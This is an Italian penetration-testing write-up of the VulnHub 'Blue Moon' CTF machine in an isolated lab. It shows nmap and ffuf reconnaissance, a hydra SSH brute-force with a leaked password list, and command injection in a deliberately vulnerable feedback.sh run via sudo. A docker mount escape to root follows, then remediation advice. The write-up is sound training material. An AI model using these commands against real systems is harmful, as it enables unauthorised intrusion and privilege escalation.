

# Report di Penetration Testing — Blue Moon

**Analista:** Gianluca

**Target:** CTF-Blue Moon

**Attaccante:** Kali Linux

---

## 1) – Sommario Esecutivo

Nella giornata odierna è stata condotta un'esercitazione di Penetration Testing sulla macchina virtuale **Blue-Moon**, prelevata dalla piattaforma VulnHub. L'attività è stata svolta in modalità **Black Box**, ovvero senza alcuna conoscenza preliminare dell'infrastruttura o della superficie d'attacco, con l'obiettivo primario di ottenere l'accesso di **root** al sistema.

Durante il processo di analisi e sfruttamento, sono state identificate diverse vulnerabilità di tipo critico che hanno costituito l'estrazione di dati sensibili per degli accessi e vulnerabilità note per il raggiungimento dell'obiettivo finale di accesso privilegiato (rooting) alla macchina

---

## 2) - Ambito e Metodologia

L'attività è stata limitata esclusivamente alla macchina virtuale *Blue-Moon* fornita da VulnHub, all'interno della rete Host-Only 192.168.56.0/24.

Sono state autorizzate tutte le operazioni di enumerazione, scanning, fuzzing, exploitation e privilege escalation necessarie al raggiungimento dei privilegi di root.

Non sono stati eseguiti attacchi verso altri host o servizi esterni alla VM.

## 3) -Dettagli Tecnici

## ❖ 1. Preparazione Ambiente

- 1.1 Verifiche di integrità file scaricati: ho usato **rhash** per calcolare l'hash dell' **OVA**, prima di avviare la **VM** e ho confrontato il valore con quello indicato su **VulnHub** — i valori corrispondevano e dopo ho messo l'hash trovato su **Virustotal** per un'analisi.

il riscontro di virustotal e in più l'accertamento della non modifica dell'hash hanno confermato che apparentemente l'**OVA** non aveva nessun malware.

### rhash -M BlueeMoon.OVA

```
gian@gian-ESPRIMO-P710:~/Scaricati$ rhash bluemoon.ova
; Generato da RHash v1.4.3 il 2025-11-13 alle 12:29:13
; Scritto da Kravchenko Aleksey (Akademgorodok) - http://rhash.sf.net/
;
; 626399744 21:08:10 2025-11-12 bluemoon.ova
bluemoon.ova 3D361ABE
gian@gian-ESPRIMO-P710:~/Scaricati$ rhash -M bluemoon.ova
7daec97310a094a0702702eea744033a bluemoon.ova
gian@gian-ESPRIMO-P710:~/Scaricati$ 
```

BlueMoon: 2021 ~ VulnHub — Mozilla Firefox

File size: 598 MB  
MD5: 7DAEC97310A094A0702702EEA744033A  
SHA1: 9DFD571731E461BAE78BA526BD7E767FECCE5C53

- 1.2 Virtualizzazione e rete: ho importato l'immagine in **VirtualBox** e avviato sia la **VM BlueMoon** sia **Kali**. Ho impostato **Kali** in **Host-only** per isolare il traffico (sottorete VirtualBox **192.168.56.0/24** — host e guest nella stessa /24 e 56).

- 1.3 Identificazione IP: ho utilizzato **nmap** per ricavare l'indirizzo IP della macchina target all'interno della sottorete di VirtualBox, ho ricavato ip della macchina vittima “192.168.56.108”.

## nmap 192.168.56.0/24

```
(kali㉿kali)-[~]
$ nmap 192.168.56.0/24
Starting Nmap 7.95 ( https://nmap.org ) at 2025-11-13 06:31 EST
Stats: 0:00:23 elapsed; 252 hosts completed (3 up), 255 undergoing Host Discovery
Parallel DNS resolution of 1 host. Timing: About 0.00% done
Nmap scan report for 192.168.56.1
Host is up (0.00027s latency).
All 1000 scanned ports on 192.168.56.1 are in ignored states.
Not shown: 1000 filtered tcp ports (no-response)
MAC Address: 0A:00:27:00:00:00 (Unknown)

Nmap scan report for 192.168.56.100
Host is up (0.00040s latency).
All 1000 scanned ports on 192.168.56.100 are in ignored states.
Not shown: 1000 filtered tcp ports (proto-unreach)
MAC Address: 08:00:27:6F:E9:78 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)

Nmap scan report for 192.168.56.108
Host is up (0.00052s latency).
Not shown: 997 closed tcp ports (reset)
PORT      STATE SERVICE
21/tcp    open  ftp
22/tcp    open  ssh
80/tcp    open  http
MAC Address: 08:00:27:06:D9:D2 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)

Nmap scan report for 192.168.56.30
Host is up (0.0000060s latency).
All 1000 scanned ports on 192.168.56.30 are in ignored states.
Not shown: 1000 closed tcp ports (reset)

Nmap done: 256 IP addresses (4 hosts up) scanned in 31.64 seconds
```

## ❖ 2. Ricognizione Iniziale

- **2.1 Scansione Porte (Nmap):** Individuati i servizi principali del host.

## nmap -O -A 192.168.56.108

```
(kali㉿kali)-[~] $ nmap -O -A 192.168.56.108
Starting Nmap 7.95 ( https://nmap.org ) at 2025-11-12 16:30 EST
Nmap scan report for 192.168.56.108
Host is up (0.00056s latency).
Not shown: 997 closed tcp ports (reset)
PORT      STATE SERVICE VERSION
21/tcp    open  ftp     vsftpd 3.0.3
22/tcp    open  ssh     OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
|   2048 2:c:e2:63:78:bc:55:fe:f3:c8:09:a0:08:26:2f:c8:d5 (RSA)
|   256 c4:c8:6b:48:92:25:a5:f7:00:9f:ab:b2:56:d5:ed:dc (ECDSA)
|_  256 a9:5b:39:1:6e:05:91:0f:75:3c:88:00:55:7c:a8:c2 (ED25519)
80/tcp    open  http   Apache/2.4.38 ((Debian))
|_http-server-header: Apache/2.4.38 (Debian)
|_http-title: BlueMoon:2021
MAC Address: 08:00:27:06:D9:D2 (RCS Systemtechnik/Oracle VirtualBox virtual NIC)
Device type: general purpose|router
OS details: MikroTik RouterOS 7.2 | MikroTik RouterOS 7.5
OS CPE: cpe:/o:linux:linux_kernel:5 | cpe:/o:mikrotik:routeros:7 | cpe:/o:linux:linux_kernel:5.6.3
OS details: Linux 4.15 - 5.19, OpenWrt 21.02 (Linux 5.4), MikroTik RouterOS 7.2 - 7.5 (Linux 5.6.3)
Network Distance: 1 hop
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT      ADDRESS
1  0.56 ms  192.168.56.108

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/.
Nmap done: 1 IP address (1 host up) scanned in 22.35 seconds
(kali㉿kali)-[~]
```

➤ **2.2 Ricerca Versione/Vulnerabilità:** Ricerca di vulnerabilità note per le versioni dei servizi (ssh, ftp, http) tramite **searchsploit** e **metasploit** di cui non hanno dato niente di rilevante per essere usato

## ❖ 3. Fuzzing e Estrazione Credenziali

➤ **3.1 Enumerazione Web (HTTP/80):** È stato eseguito un fuzzing sulla porta 80 che ha rivelato un file con status 200, chiamato **hidden.txt**.

**ffuf -c -u http://192.168.56.108/FUZZ -w**

[./Discovery/Web-Content/directory-list-2.3-medium.txt](#) -e php,txt,bk,html

➤ **3.2 Discovery Credenziali:** L'apertura di hidden.txt ha mostrato un messaggio "manutenzione" e un bottone blu con scritto "thank you" il click sul bottone ha generato un **QR Code**. La scansione del QR Code ha fornito le credenziali (username e password) per accedere al servizio **FTP**.

A screenshot of a Kali Linux desktop environment. The top window shows a web browser with a 'Not Secure' warning, displaying a maintenance page for 'hidden\_text'. The page content includes a 'Sorry For Delay. We Will Recover Soon.' message and a 'Thank You ...' note. The terminal window below shows a list of files from a directory and the command 'ls -l'. The bottom part of the screen features the Unity interface with various application icons in the dock and a QR code in the center.

← Scan result

❖ **4. Accesso FTP e Enumerazione Locale**

- **4.1 Accesso FTP (21):** Accesso effettuato con successo utilizzando le credenziali ricavate dal QR Code.

```
(kali㉿kali)-[~]
$ ftp 192.168.56.108 21
Connected to 192.168.56.108.
220 (vsFTPd 3.0.3)
Name (192.168.56.108:kali): userftp
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
229 Entering Extended Passive Mode (|||24856|)
150 Here comes the directory listing.
-rw-r--r--    1 0          0           147 Mar 07  2021 information.txt
-rw-r--r--    1 0          0           363 Mar 07  2021 p_lists.txt
226 Directory send OK.
```

- **4.2 File Scaricati:** Sono stati trovati e scaricati due file cruciali:**information.txt**: Contenente la **Prima Flag** e **p\_lists.txt**: Contenente svariate password e frasi utili.

```
229 Entering Extended Passive Mode (|||37640|)
150 Here comes the directory listing.
drwxr-xr-x    2 0          0           4096 Mar 07  2021 .
drwxr-xr-x    3 1001      1001        4096 Mar 07  2021 ..
-rw-r--r--    1 0          0           147 Mar 07  2021 information.txt
-rw-r--r--    1 0          0           363 Mar 07  2021 p_lists.txt
226 Directory send OK.
ftp> get information.txt
local: information.txt remote: information.txt
229 Entering Extended Passive Mode (|||29877|)
150 Opening BINARY mode data connection for information.txt (147 bytes).
100% [*****] 147          793.11 KiB/s   00:00 ETA
226 Transfer complete.
147 bytes received in 00:00 (163.12 KiB/s)
ftp> get p_lists.txt
local: p_lists.txt remote: p_lists.txt
229 Entering Extended Passive Mode (|||33526|)
150 Opening BINARY mode data connection for p_lists.txt (363 bytes).
100% [*****] 363          1.33 MiB/s   00:00 ETA
226 Transfer complete.
363 bytes received in 00:00 (273.73 KiB/s)
ftp> whoami
?Invalid command.
ftp> id
500 Unknown SITE command.
ftp> pwd
Remote directory: /home/userftp/files
ftp> 
```

- **4.3 Struttura delle Directory:** Navigando nell'ambiente FTP, sono state trovate tre cartelle: **jerry**, **robin**, e **user\_ftp**.

```
229 Entering Extended Passive Mode (|||54473| )
150 Here comes the directory listing.
drwxr-xr-x    3 1002      1002        4096 Apr  4  2021 jerry
drwxr-xr-x    4 1000      1000        4096 Apr  4  2021 robin
drwxr-xr-x    3 1001      1001        4096 Mar  07 2021 userftp
```

- **4.4 Contenuto Utile:** Nelle cartelle di **jerry** e **robin** sono stati individuati un file **feedback.ssh** (uno script) e un file **user.2.txt**, Il file all'interno della cartella **jerry** non era accessibile per mancanza di permessi.

```
(kali㉿kali)-[~/bluemooon]
└─$ ls -la
total 24
drwxrwxr-x  2 kali kali 4096 Nov 13 06:15 .
drwx----- 20 kali kali 4096 Nov 13 06:27 ..
-rw-rw-r--  1 kali kali  235 Mar  7 2021 feedback.sh
-rw-rw-r--  1 kali kali  147 Mar  7 2021 information.txt
-rw-rw-r--  1 kali kali  363 Mar  7 2021 p_lists.txt

(kali㉿kali)-[~/bluemooon]
└─$ cat user1.txt
You Gained User-1 Flag
⇒ Fl4g{u5er1r34ch3d5ucc355fully}

(kali㉿kali)-[~/bluemooon]
└─$ cat p_lists.txt
h4ck3rp455wd
4dm1n
Pr0h4ck3r
5cr1ptk1dd3
pubgpr0pl4yer
H34d5h00t3r
p@ssw0rd
@0d1dn0tf1nd
J4ck_5p4rr0w
c4pt10n_jack
D0veC4m3r0n
f1nnb4l0r
r0manr3ing5
s3thr0lin5
Dem0nk1ng
R4ndy0rton
Big_sh0w
j0hnc3na
5tr0ngp@ssw0rd
S4br1n4
4nnlyn
C4rp3nt3r
K0fiKing5t0n
chNAMPIN
Herr0lins
G0palt0p3r
Log3shDriv3r
k4rv3ndh4nh4ck3r
P0nmuGunth0n
Shank3rD3v
KishorMilkV4n
S4th15hR4cer

$ cat feedback.sh
#!/bin/bash

clear
echo -e "Script For FeedBack\n"

read -p "Enter Your Name : " name
echo ""
read -p "Enter You FeedBack About This Target Machine : " feedback
echo ""
$feedback 2>/dev/null

echo -e "\nThanks For Your FeedBack ... !\n"
```

## ❖ 5. Accesso SSH e Privilege Escalation (Robin)

- 5.1 **Brute-force SSH (22)**: Tentativo di brute-forcing sull'accesso **SSH** (su utenti quali **jerry** e **robin**) utilizzando le password/ frasi estratte da **ps\_lists.txt**.

```
hydra -f -l robin -P ./p_lists.txt -t 8 ssh://192.168.56.108:22
```

```
(kali㉿kali)-[~/bluemoon]
└─$ hydra -f -l robin -P ./p_lists.txt -t 8 ssh://192.168.56.108:22
Hydra v9.6 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-11-12 17:39:32
[DATA] max 8 tasks per 1 server, overall 8 tasks, 32 login tries (l:1/p:32), ~4 tries per task
[DATA] attacking ssh://192.168.56.108:22/
[22][ssh] host: 192.168.56.108 login: robin password: k4rv3ndh4nh4ck3r
[STATUS] attack finished for 192.168.56.108 (valid pair found)
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2025-11-12 17:39:44
```

- 5.2 **Login SSH**: Trovato un match che ha permesso l'accesso come utente **Robin** in **SSH**.

```
(kali㉿kali)-[~/bluemoon]
└─$ ssh robin@192.168.56.108
The authenticity of host '192.168.56.108 (192.168.56.108)' can't be established.
ED25519 key fingerprint is: SHA256:C+Z/8na2o0LXAqk7WswSnNQya1ZPegq4Cy09DR+VXTw
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.56.108' (ED25519) to the list of known hosts.
** WARNING: connection is not using a post-quantum key exchange algorithm.
** This session may be vulnerable to "store now, decrypt later" attacks.
** The server may need to be upgraded. See https://openssh.com/pq.html
robin@192.168.56.108's password:
Linux BlueMoon 4.19.0-14-amd64 #1 SMP Debian 4.19.171-2 (2021-01-30) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Sun Apr  4 07:43:48 2021 from 192.168.43.44
robin@BlueMoon:~$ █
```

## ❖ 6. Privilege Escalation 1

- 6.1 Identificazione Permessi sudo: L'analisi dei permessi di Robin (implicita **sudo -l**) ha rivelato che **Robin** poteva eseguire lo script **feedback.ssh** come utente **Jerry**

**sudo -u jerry /home/robin/project/feedback.sh**

```
robin@BlueMoon:~$ whoami
robin
robin@BlueMoon:~$ id
uid=1000(robin) gid=1000(robin) groups=1000(robin),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),109(netdev)
robin@BlueMoon:~$ uname -a
Linux BlueMoon 4.19.0-14-amd64 #1 SMP Debian 4.19.171-2 (2021-01-30) x86_64 GNU/Linux
robin@BlueMoon:~$ sudo -l
Matching Defaults entries for robin on bluemoon:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User robin may run the following commands on bluemoon:
    (jerry) NOPASSWD: /home/robin/project/feedback.sh
robin@BlueMoon:~$ sudo -u /home/robin/project/feedback.sh
sudo: unknown user: /home/robin/project/feedback.sh
sudo: unable to initialize policy plugin
robin@BlueMoon:~$ sudo -u jerry /home/robin/project/feedback.sh
```

- 6.2 Sfruttamento: Lo script **feedback.ssh** presentava un'uscita (output) non sanitizzata. Sfruttando questa vulnerabilità, è stata iniettata una shell (**/bin/bash**) nello script, permettendo di ottenere l'accesso come **Jerry**.

```
Script For FeedBack

Enter Your Name : /bin/bash

Enter You FeedBack About This Target Machine : /bin/bash

id
uid=1002(jerry) gid=1002(jerry) groups=1002(jerry),114(docker)
whoami
jerry
python -c 'import pty; pty.spawn("/bin/bash")'
jerry@BlueMoon:/home/robin$ ls -la
total 36
drwxr-xr-x 4 robin robin 4096 Apr  4  2021 .
drwxr-xr-x 5 root  root 4096 Mar  8  2021 ..
-rw----- 1 robin robin 129 Nov 13 03:09 .bash_history
-rw-r--r-- 1 robin robin 220 Mar  7  2021 .bash_logout
-rw-r--r-- 1 robin robin 3526 Mar  7  2021 .bashrc
drwxr-xr-x 3 robin robin 4096 Mar  7  2021 .local
-rw-r--r-- 1 robin robin 807 Mar  7  2021 .profile
drwxr-xr-x 2 robin robin 4096 Mar  8  2021 project
-rw-r--r-- 1 robin robin 69 Mar  7  2021 user1.txt
jerry@BlueMoon:/home/robin$ cd ..
jerry@BlueMoon:/home$ cd jerry
jerry@BlueMoon:~$ ls
user2.txt
jerry@BlueMoon:~$ cat user2.txt

You Found User-2 Flag
    ==> Fl4g{Y0ur34ch3du53r25uc355ful1y}

You Are Reached Near To Me ... Try To Find
        - Root

jerry@BlueMoon:~$ cat user2.txt
```

- Ottenuta la **Flag di Jerry** dal file **user2.txt** nella sua cartella.

## ❖ 7. Privilege Escalation 2 (Jerry → Root)

- 7.1 Identificazione Vulnerabilità: Analisi dei permessi dell'utente Jerry ha rivelato la possibilità di eseguire Docker

sudo -l

- 7.2 Sfruttamento Docker: È stata ricercata una tecnica per eseguire comandi come root sfruttando i permessi su Docker. Trovate istruzioni online “[gtfobins.github.io](https://gtfobins.github.io/gtfobins/docker/)” per l'esecuzione di Docker con privilegi elevati (esecuzione del container come root).

The screenshot shows a web page with the URL [gtfobins.github.io/gtfobins/docker/](https://gtfobins.github.io/gtfobins/docker/). The page title is “/ docker”. It features several tabs: Shell, File write, File read, SUID, and Sudo. The Sudo tab is selected. Below the tabs, there is a note: "This requires the user to be privileged enough to run docker, i.e. being in the `docker` group or being `root`. Any other Docker Linux image should work, e.g., `debian`." A section titled "Shell" explains how it can be used to break out from restricted environments by spawning an interactive system shell. It includes a command example: `docker run -v /:/mnt --rm -it alpine chroot /mnt sh`. Another section titled "File write" discusses writing data to files, with a note about doing privileged writes or writing files outside a restricted file system. It includes a command example: `CONTAINER_ID=$(docker run -d alpine) # or existing $TF=$(mktemp) echo 'DATA' > $TF docker cp $TF ${CONTAINER_ID}:$TF docker cp ${CONTAINER_ID}:$TF file_to_write`. A final section titled "File read" discusses reading data from files, with a note about doing privileged reads or disclosing files outside a restricted file system.

- **7.3 Accesso Root:** L'esecuzione dello script/comando Docker ha garantito l'accesso finale con privilegi di **root**.

```
docker run -v /:/mnt --rm -it alpine chroot /mnt sh
```

```
jerry@BlueMoon:~$ fovkrt tun -v /:/mnt --rm -it alpine chroot /mnt sh
bash: fovkrt: command not found
jerry@BlueMoon:~$ docker run -v /:/mnt --rm -it alpine chroot /mnt sh
# python -c 'import pty; pr^Hty
> ^C
# python -c 'import pty; pty.spawn("/bin/bash")'
root@6b15f82e27f2:/# whoami
root
root@6b15f82e27f2:/# ls
bin  home   lib32    media  root  sys  vmlinuz
boot initrd.img  lib64    mnt   run  tmp  vmlinuz.old
dev  initrd.img.old libx32   opt   sbin  usr
etc   lib     lost+found proc   srv  var
root@6b15f82e27f2:/# id
uid=0(root) gid=0(root) groups=0(root),1(daemon),2(bin),3(sys),4(adm),6(disk),10(uucp),11,20(dialout),26(tape),27(sudo)
root@6b15f82e27f2:/# cd root
root@6b15f82e27f2:/# ls
root.txt
root@6b15f82e27f2:~# cat root.txt
→ Congratulations ←
You Reached Root ... !
Root-Flag
Fl4g{r00t-H4ckTh3P14n3t0nc34g4in}
Created By
Kirthik - Karvendhan
instagram = __kirthik__
.....Bye See You Again.....!
root@6b15f82e27f2:~# █
```

**Flag Finale:** Ottenuta la **Flag di Root**, completando il CTF.

## 4) - Correzioni e Raccomandazioni

Per prevenire attacchi simili in futuro, si raccomanda di implementare le seguenti misure di *hardening* del sistema:

1. **Monitoraggio e Logging:** Abilitare il *logging* completo di tutte le attività **sudo** e implementare un sistema di monitoraggio degli accessi falliti (**FTP/SSH**).
2. **Network Access Control (NAC):** Bloccare le porte non necessarie e applicare regole firewall *stateful* con una *policy deny by default* per limitare l'esposizione dei servizi.
3. **Audit dei File e dei Permessi:** Eseguire controlli periodici **sui bit SUID/SGID** e sui permessi di file critici per assicurarsi che solo i file essenziali abbiano permessi elevati.
4. **Patch Management:** Implementare un **rigoroso processo di patch management** per mantenere il sistema operativo, i servizi e il kernel costantemente aggiornati, mitigando vulnerabilità note come quelle sfruttate

## 5. Conclusioni

L'esercitazione di Penetration Testing sulla macchina target **Blue Moon** si è conclusa con il pieno successo, avendo raggiunto l'obiettivo primario di ottenere l'accesso di **root al sistema**.

Il processo di analisi e sfruttamento ha identificato una concatenazione di vulnerabilità **critiche** e misconfigurazioni, che hanno permesso di passare da un accesso iniziale a **privilegi completi** in modo rapido e sequenziale. Le vulnerabilità principali includono l'esposizione di credenziali tramite il **servizio web (QR Code)**, l'efficacia di attacchi a **dizionario su SSH**, e due fasi distinte di **Privilege Escalation basate su errori di configurazione del comando sudo** (dall'utente **Robin a Jerry**, e successivamente da **Jerry a Root** tramite l'**uso improprio di Docker**).

La macchina presenta **vulnerabilità reali e sfruttabili**, sebbene sia stata programmata **appositamente per la CTF**. È fondamentale sottolineare che questo tipo di **vulnerabilità** – dalla debolezza **delle credenziali alle critiche misconfigurazioni dei permessi utente (sudo e Docker)** – si riscontra con maggiore frequenza negli ambienti aziendali di quanto si possa pensare.